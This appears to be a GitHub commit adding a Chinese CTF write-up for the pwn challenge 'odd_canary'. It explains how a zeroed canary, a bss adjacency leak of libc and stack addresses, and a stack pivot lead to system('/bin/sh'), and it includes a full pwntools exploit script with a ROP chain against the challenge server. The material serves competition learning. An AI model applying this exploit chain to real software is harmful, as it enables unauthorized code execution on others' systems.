Skip to content

Commit 03f5110

Browse files
committed
create(gbacc2025): add odd_canary
1 parent 2b657ab commit 03f5110

File tree

3 files changed

+96
-1
lines changed

3 files changed

+96
-1
lines changed
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
---
2+
title: 湾区杯 2025 初赛 - odd_canary
3+
date: 2025/09/11 01:27:00
4+
updated: 2025/09/11 01:27:00
5+
tags:
6+
- noob
7+
excerpt: 利用构造器重置canary为0,泄露libc与栈地址后栈迁移执行`system("/bin/sh")`。
8+
---
9+
10+
## 文件属性
11+
12+
|属性 ||
13+
|------|------|
14+
|Arch |amd64 |
15+
|RELRO |Full |
16+
|Canary|on |
17+
|NX |on |
18+
|PIE |off |
19+
|strip |no |
20+
|libc |2.35-0ubuntu3.10|
21+
22+
## 解题思路
23+
24+
注意有一个`before_main`是“构造器”,会在`main`之前调用,将canary设为0,这也就意味着
25+
canary已知。
26+
27+
看到程序主菜单有good, vuln, exit三个功能,已知在bss上,符号`name``bss`紧邻,
28+
那我们进入`good_news`后,只要输入0x20个字符填满`name`,就可以在下一次循环中读取到
29+
`bss`上存放的`puts`地址拿到libc。为了拿到栈地址,我们从`exit_a`函数中,
30+
控制栈指针放到`bss`上,这样再进入一次`good_news`就可以泄露栈地址。
31+
32+
最后进入`vuln`打栈溢出。由于只溢出到返回地址的地方,因此结合栈地址可以打栈迁移,
33+
供我们输入的空间刚好可以执行`system("/bin/sh")`。由于调用`system`,需要注意栈平衡。
34+
35+
## EXPLOIT
36+
37+
```python
38+
from pwn import *
39+
context.terminal = ['tmux', 'splitw', '-h']
40+
context.arch = 'amd64'
41+
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
42+
EXE = './odd_canary'
43+
44+
def payload(lo: int):
45+
global t
46+
if lo:
47+
t = process(EXE)
48+
if lo & 2:
49+
gdb.attach(t)
50+
else:
51+
t = remote("pwn-3c371156cb.challenge.xctf.org.cn", 9999, ssl=True)
52+
libc = ELF('/libraries/2.35-0ubuntu3.10_amd64/libc.so.6')
53+
54+
def news(buf: bytes) -> bytes:
55+
t.sendlineafter(b'good/vuln', b'good')
56+
t.recvuntil(b'good news,')
57+
name = t.recvuntil(b' ', True)
58+
t.send(buf)
59+
return name
60+
61+
def vuln(buf: bytes):
62+
t.sendlineafter(b'good/vuln', b'vuln')
63+
t.sendafter(b'payload', buf)
64+
assert buf.startswith(b'exec')
65+
66+
def not_exit(yes: bool):
67+
t.sendlineafter(b'good/vuln', b'exit')
68+
t.sendlineafter(b'Are you', b'y' if yes else b'n')
69+
70+
news(b'a' * 0x20)
71+
data = news(b'a' * 0x20)
72+
libc_base = u64(data[0x20:0x26] + b'\0\0') - libc.symbols['puts']
73+
success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}'))
74+
libc.address = libc_base
75+
76+
not_exit(False)
77+
data = news(b' ' * 0x20)
78+
stack = u64(data[0x20:0x26] + b'\0\0') - 0x27 + 8
79+
success(f'About to pivot stack to {stack:#x}')
80+
81+
gadgets = ROP(libc)
82+
vuln(flat(
83+
b'exec'.ljust(8), 0,
84+
gadgets.rdi.address, next(libc.search(b'/bin/sh')), libc.symbols['system'],
85+
0, stack, 0x4014b6, # leave; ret
86+
))
87+
88+
t.clean()
89+
t.interactive()
90+
t.close()
91+
```
92+
93+
{% note default fa-flag %}
94+
![flag](/assets/gbacc2025/odd_canary_flag.png)
95+
{% endnote %}

source/_posts/longjiancup2025/MagicBox.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
---
22
title: 陇剑杯 2025 初赛 - MagicBox
33
date: 2025/09/06 23:37:00
4-
updated: 2025/09/06 23:37:00
4+
updated: 2025/09/11 01:11:00
55
tags:
66
- hard to rev
77
- mips
237 KB
Loading

0 commit comments

Comments
 (0)